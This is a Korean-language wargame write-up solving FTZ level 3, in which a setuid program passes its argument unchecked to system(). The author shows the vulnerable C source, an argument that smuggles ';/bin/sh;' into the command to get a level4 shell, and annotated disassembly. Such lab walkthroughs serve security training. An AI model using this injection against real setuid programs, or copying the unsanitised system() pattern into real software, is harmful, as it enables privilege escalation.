FTZ WriteUp

Level3

[level3@ftz level3]$ cat hint

 

 

다음 코드는 autodig의 소스이다.

 

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

 

int main(int argc, char **argv){

 

    char cmd[100];

 

    if( argc!=2 ){

        printf( "Auto Digger Version 0.9\n" );

        printf( "Usage : %s host\n", argv[0] );

        exit(0);

    }

 

    strcpy( cmd, "dig @" );

    strcat( cmd, argv[1] );

    strcat( cmd, " version.bind chaos txt");

 

    system( cmd );

 

}

 

이를 이용하여 level4의 권한을 얻어라.

 

more hints.

- 동시에 여러 명령어를 사용하려면?

- 문자열 형태로 명령어를 전달하려면?

 

이번 문제는 DNS서버로부터 정보를 가져올수 있는 툴 dig를 이용해 문제를 풀어야 한다

 

그리고 힌트를 두 개 제시한다

 

- 동시에 여러 명령어를 사용하려면?

- 문자열 형태로 명령어를 전달하려면?

 

동시에 여러 명령어를 사용하기 위한 것은 파이프( | ), 세미콜론( ; ) 이 있다

 

그리고 문자열 형태로 명령어를 전달하는 것이라는 힌트는 아마도 더블 쿼티( “ “ )일거라 생각된다

 

나는 개인적으로 혼란이 왔다 매번 느끼지만 멘붕이다 이거 가지고 뭘 하란건지

 

일단 하던대로 find부터 했다

 

[level3@ftz level3]$ find / -user level4 -perm +4000 2>/dev/null

/bin/autodig

[level3@ftz level3]$ ls -l /bin/autodig

-rwsr-x---    1 level4   level3      12194  9 10  2011 /bin/autodig

 

파일이 나왔다 이 파일의 소스를 분석해보자

 

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

 

int main(int argc, char **argv){

 

    char cmd[100];

 

    if( argc!=2 ){                                   // 인자가 2개가 아니면 다음을 실행하고 종료

        printf( "Auto Digger Version 0.9\n" );

        printf( "Usage : %s host\n", argv[0] );

        exit(0);

    }

 

    strcpy( cmd, "dig @" );                                

    strcat( cmd, argv[1] );

    strcat( cmd, " version.bind chaos txt");             “dig @ argv[1] version.bind chaos txt”

 

    system( cmd );                                           cmd배열의 값을 실행

 

}

 

잘은 모르겠지만 dig명령어를 문구를 붙여서 실행하는 프로그램 같다

 

일단 dig를 사용해야 하며 쉘을 띄워야 하고 음..그래서 더블 쿼티와 세미콜론을 사용해 봤다

 

[level3@ftz level3]$ /bin/autodig "8.8.8.8;/bin/sh"

 

; <<>> DiG 9.2.1 <<>> @8.8.8.8

;; global options:  printcmd

;; Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 18914

;; flags: qr rd ra; QUERY: 1, ANSWER: 13, AUTHORITY: 0, ADDITIONAL: 0

 

;; QUESTION SECTION:

;.                                           IN        NS

 

;; ANSWER SECTION:

.                                 16975    IN        NS        a.root-servers.net.

.                                 16975    IN        NS        b.root-servers.net.

.                                 16975    IN        NS        c.root-servers.net.

.                                 16975    IN        NS        d.root-servers.net.

.                                 16975    IN        NS        e.root-servers.net.

.                                 16975    IN        NS        f.root-servers.net.

.                                 16975    IN        NS        g.root-servers.net.

.                                 16975    IN        NS        h.root-servers.net.

.                                 16975    IN        NS        i.root-servers.net.

.                                 16975    IN        NS        j.root-servers.net.

.                                 16975    IN        NS        k.root-servers.net.

.                                 16975    IN        NS        l.root-servers.net.

.                                 16975    IN        NS        m.root-servers.net.

 

;; Query time: 49 msec

;; SERVER: 8.8.8.8#53(8.8.8.8)

;; WHEN: Sat Nov  8 19:08:32 2014

;; MSG SIZE  rcvd: 228

 

version.bind: version.bind: 그런 파일이나 디렉토리가 없음

 

다음과 같이 뜬다

 

뭐가 문제일까

 

나중에 결과를 검색해서 본거지만 명령어 마지막에 더블쿼티틀 닫기 전에 세미콜론을 한번 더 넣어야 한다는걸 알았다

 

물론 이 방법 말고도 많은 방법이 있다

 

다음과 같이 실행했다

 

[level3@ftz level3]$ /bin/autodig "8.8.8.8;/bin/sh;"

 

; <<>> DiG 9.2.1 <<>> @8.8.8.8

;; global options:  printcmd

;; Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 31636

;; flags: qr rd ra; QUERY: 1, ANSWER: 13, AUTHORITY: 0, ADDITIONAL: 0

 

;; QUESTION SECTION:

;.                                           IN        NS

 

;; ANSWER SECTION:

.                                 16761    IN        NS        f.root-servers.net.

.                                 16761    IN        NS        k.root-servers.net.

.                                 16761    IN        NS        b.root-servers.net.

.                                 16761    IN        NS        j.root-servers.net.

.                                 16761    IN        NS        l.root-servers.net.

.                                 16761    IN        NS        h.root-servers.net.

.                                 16761    IN        NS        m.root-servers.net.

.                                 16761    IN        NS        g.root-servers.net.

.                                 16761    IN        NS        c.root-servers.net.

.                                 16761    IN        NS        a.root-servers.net.

.                                 16761    IN        NS        i.root-servers.net.

.                                 16761    IN        NS        e.root-servers.net.

.                                 16761    IN        NS        d.root-servers.net.

 

;; Query time: 58 msec

;; SERVER: 8.8.8.8#53(8.8.8.8)

;; WHEN: Sat Nov  8 19:12:04 2014

;; MSG SIZE  rcvd: 228

 

sh-2.05b$

 

쉘이 떴다 id를 입력해봤다

 

sh-2.05b$ id

uid=3004(level4) gid=3003(level3) groups=3003(level3)

 

권한이 상승됐다

 

이로써 level4를 클리어했다

 

다음은 /bin/autodig를 디버깅한 것이다

 

0x08048430 <main+0>:   push   ebp

0x08048431 <main+1>:   mov    ebp,esp

0x08048433 <main+3>:   sub    esp,0x78                        //스택 프레임 120바이트 할당

--------------------------------------------------------------------------------------------------------------

0x08048436 <main+6>:   and    esp,0xfffffff0

0x08048439 <main+9>:   mov    eax,0x0

0x0804843e <main+14>:  sub    esp,eax

0x08048440 <main+16>:  cmp    DWORD PTR [ebp+8],0x2             //인자가 2개가 아닐시

0x08048444 <main+20>:  je     0x8048475 <main+69>      "Auto Digger Version 0.9\n"

0x08048446 <main+22>:  sub    esp,0xc                          "Usage : %s host\n"

0x08048449 <main+25>:  push   0x8048588                     를 출력하고 exit함수 실행 후 종료

0x0804844e <main+30>:  call   0x8048340 <printf>

0x08048453 <main+35>:  add    esp,0x10

0x08048456 <main+38>:  sub    esp,0x8

0x08048459 <main+41>:  mov    eax,DWORD PTR [ebp+12]

0x0804845c <main+44>:  push   DWORD PTR [eax]

0x0804845e <main+46>:  push   0x80485a1

0x08048463 <main+51>:  call   0x8048340 <printf>

0x08048468 <main+56>:  add    esp,0x10

0x0804846b <main+59>:  sub    esp,0xc

0x0804846e <main+62>:  push   0x0

0x08048470 <main+64>:  call   0x8048360 <exit>

0x08048475 <main+69>:  sub    esp,0x8

--------------------------------------------------------------------------------------------------------------

0x08048478 <main+72>:  push   0x80485b2

0x0804847d <main+77>:  lea    eax,[ebp-120]

0x08048480 <main+80>:  push   eax

0x08048481 <main+81>:  call   0x8048370 <strcpy>

0x08048486 <main+86>:  add    esp,0x10

0x08048489 <main+89>:  sub    esp,0x8

0x0804848c <main+92>:  mov    eax,DWORD PTR [ebp+12] dig @ argv[1] version.bind chaos txt

0x0804848f <main+95>:  add    eax,0x4                         를 실행

0x08048492 <main+98>:  push   DWORD PTR [eax]

0x08048494 <main+100>: lea    eax,[ebp-120]

0x08048497 <main+103>: push   eax

0x08048498 <main+104>: call   0x8048330 <strcat>

0x0804849d <main+109>:           add    esp,0x10

0x080484a0 <main+112>: sub    esp,0x8

0x080484a3 <main+115>: push   0x80485b8

0x080484a8 <main+120>: lea    eax,[ebp-120]

0x080484ab <main+123>:           push   eax

0x080484ac <main+124>: call   0x8048330 <strcat>

0x080484b1 <main+129>:           add    esp,0x10

0x080484b4 <main+132>:           sub    esp,0x8

--------------------------------------------------------------------------------------------------------------

0x080484b7 <main+135>:           push   0xbbc

0x080484bc <main+140>: push   0xbbc

0x080484c1 <main+145>: call   0x8048350 <setreuid>        //setreuid(3004,3004) 실행

0x080484c6 <main+150>: add    esp,0x10

0x080484c9 <main+153>: sub    esp,0xc

--------------------------------------------------------------------------------------------------------------

0x080484cc <main+156>: lea    eax,[ebp-120]

0x080484cf <main+159>: push   eax

0x080484d0 <main+160>:           call   0x8048310 <system>   system(cmd) 실행

---Type <return> to continue, or q <return> to quit---

0x080484d5 <main+165>:           add    esp,0x10

0x080484d8 <main+168>:           leave 

0x080484d9 <main+169>:           ret   

0x080484da <main+170>:           nop   

0x080484db <main+171>:           nop

 

Phantom@TeamH4C

댓글

댓글 본문
작성자
비밀번호
버전 관리
홍승표
현재 버전
선택 버전
graphittie 자세히 보기